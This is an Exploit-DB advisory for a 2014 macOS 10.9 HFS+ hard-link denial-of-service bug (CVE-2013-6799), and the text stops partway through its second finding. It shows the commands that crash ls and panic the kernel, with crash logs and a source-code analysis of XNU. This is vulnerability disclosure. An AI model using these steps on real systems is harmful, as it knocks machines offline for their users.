Exploit-DB #32754
Description: Apple Mac OSX 10.9 - Hard Link Memory Corruption
Type: dos
Platform: osx
Date: 2014-04-08
Author: Maksymilian Arciemowicz

Exploit:
/*
MacOSX/XNU HFS Multiple Vulnerabilities
Maksymilian Arciemowicz
http://cxsecurity.com/
http://cifrex.org/

===================

On November 8th, I've reported vulnerability in hard links for HFS+
(CVE-2013-6799)

http://cxsecurity.com/issue/WLB[PII_REDACTED]

The HFS+ file system does not apply strict privilege rules during the
creating of hard links. The ability to create hard links to directories is
wrong implemented and such an issue is affecting os versions greater or
equal to 10.5. Officially Apple allows you to create hard links only for
your time machine. <see wiki> Vulnerability CVE-2013-6799 (incomplete fix
for CVE-2010-0105) allow to create hard link to directory and the number of
hard links may be freely high. To create N hard links, you must use a
special algorithm which creates links from the top of the file system tree.
This means that first we create the directory structure and once created we
need to go from up to down by creating hard links. The last time I've
mentioned of the possibility of a kernel crash by performing the 'ls'
command. This situation occurs in conjunction with the 'find' application.

Commands such as 'ls' behave in unexpected ways. Apple are going find this
crash point in code. To create huge hard links structure, use this code

http://cert.cx/stuff/l2.c

-----------------------------------
h1XSS:tysiak cx$ uname -a
Darwin[PII_REDACTED]00000.home 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16
19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64 x86_64
h1xss:tysiak cx$ gcc -o l2 l2.c
h1xss:tysiak cx$ ./l2 1000
...
h1xss:tysiak cx$ cat loop.sh
#!/bin/bash
while [ 1 ] ; do
ls -laR B > /dev/null
done

h1xss:tysiak cx$ sh ./loop.sh
ls: B: No such file or directory
ls: X1: No such file or directory
...
ls: X8: Bad address
ls: X1: Bad address
ls: X2: Bad address
...
ls: X8: No such file or directory
./loop.sh: line 4:  8816 Segmentation fault: 11  ls -laR B > /dev/null
./loop.sh: line 4:  8818 Segmentation fault: 11  ls -laR B > /dev/null
ls: B: No such file or directory
ls: X1: No such file or directory
ls: X2: No such file or directory
...
ls: X1: No such file or directory
ls: X2: No such file or directory
-----------
...
-----------
Feb  9 21:16:38 h1xss.home ReportCrash[9419]: Saved crash report for
ls[9418] version 230 to
/Users/freak/Library/Logs/DiagnosticReports/ls_2014-02-09-211638_h1XSS.crash
-----------

That what we can see here is unexpected behavior of LS command. LS process
is also affected for infinite loop (recursion?).

-----------
h1xss:tysiak cx$ ps -fp 8822
  UID   PID  PPID   C STIME   TTY           TIME CMD
  501  8822  8810   0  7:36   ttys002   62:19.65 ls -laR B
-----------

or used parallely with (find . > /dev/null) command cause a kernel crash

-----------
Mon Mar 31 20:30:41 2014
panic(cpu 0 caller 0xffffff80044dbe2e): Kernel trap at 0xffffff[PII_REDACTED],
type 13=general protection, registers:
CR0: 0x[PII_REDACTED]010033, CR2: 0xffffff[PII_REDACTED], CR3: 0x[PII_REDACTED]a5408c,
CR4: 0x[PII_REDACTED]1606e0
RAX: 0xffffff802bc148a0, RBX: 0xdeadbeefdeadbeef, RCX: 0x[PII_REDACTED]008000,
RDX: 0x[PII_REDACTED]000000
RSP: 0xffffff8140d9b990, RBP: 0xffffff8140d9b9a0, RSI: 0x[PII_REDACTED]000018,
RDI: 0xffffff802f23bcd0
R8:  0xffffff8140d9bc1c, R9:  0xffffff802f26e960, R10: 0xffffff8140d9ba2c,
R11: 0x[PII_REDACTED]000f92
R12: 0xffffff801ba1a008, R13: 0xffffff8140d9bb20, R14: 0xffffff802f23bcd0,
R15: 0xffffff802f26e960
RFL: 0x[PII_REDACTED]010282, RIP: 0xffffff[PII_REDACTED], CS:  0x[PII_REDACTED]000008,
SS:  0x[PII_REDACTED]000010
Fault CR2: 0xffffff[PII_REDACTED], Error code: 0x[PII_REDACTED]000000, Fault CPU:
0x0

Backtrace (CPU 0), Frame : Return Address
0xffffff811eee8c50 : 0xffffff8004422fa9

BSD process name corresponding to current thread: ls
-----------

XNU is the computer operating system kernel that Apple Inc. acquired and
developed for use in the Mac OS X operating system and released as free and
open source software as part of the Darwin operating system. We can try to
see HFS implementation code. Let's start static code analysys using
cifrex.org tool!

-1.---------------------------------------------------------
Unchecked Return Value to NULL Pointer Dereference in hfs_vfsops.c

Code:
http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_vfsops.c

--- hfs_vfsops.c ----------------------------
/*
 * HFS filesystem related variables.
 
int
hfs_sysctl(int *name, __unused u_int namelen, user_addr_t oldp, size_t
*oldlenp,
user_addr_t newp, size_t newlen, vfs_context_t context)
{
...
       if ((newlen <= 0) || (newlen > MAXPATHLEN))
            return (EINVAL);

        bufsize = MAX(newlen * 3, MAXPATHLEN);
        MALLOC(filename, char *, newlen, M_TEMP, M_WAITOK);
        if (filename == NULL) { <=====================================
filename CHECK
            error = ENOMEM;
            goto encodinghint_exit;
        }
        MALLOC(unicode_name, u_int16_t *, bufsize, M_TEMP, M_WAITOK);
        if (filename == NULL) { <======================================
double CHECK?
            error = ENOMEM;
            goto encodinghint_exit;
        }

        error = copyin(newp, (caddr_t)filename, newlen);
        if (error == 0) {
            error = utf8_decodestr((u_int8_t *)filename, newlen - 1,
unicode_name,
                                   &bytes, bufsize, 0, UTF_DECOMPOSED);
            if (error == 0) {
                hint = hfs_pickencoding(unicode_name, bytes / 2);
                error = sysctl_int(oldp, oldlenp, USER_ADDR_NULL, 0,
(int32_t *)&hint);
            }
        }
--- hfs_vfsops.c----------------------------

Twice checking of 'filename' has no sense. Probably 'unicode_name' should
be checked in second condition.


-2.---------------------------------------------------------
Possible Buffer Overflow in resource fork (hfs_vnops.c)

Unverified value returned by snprintf() may be bigger as a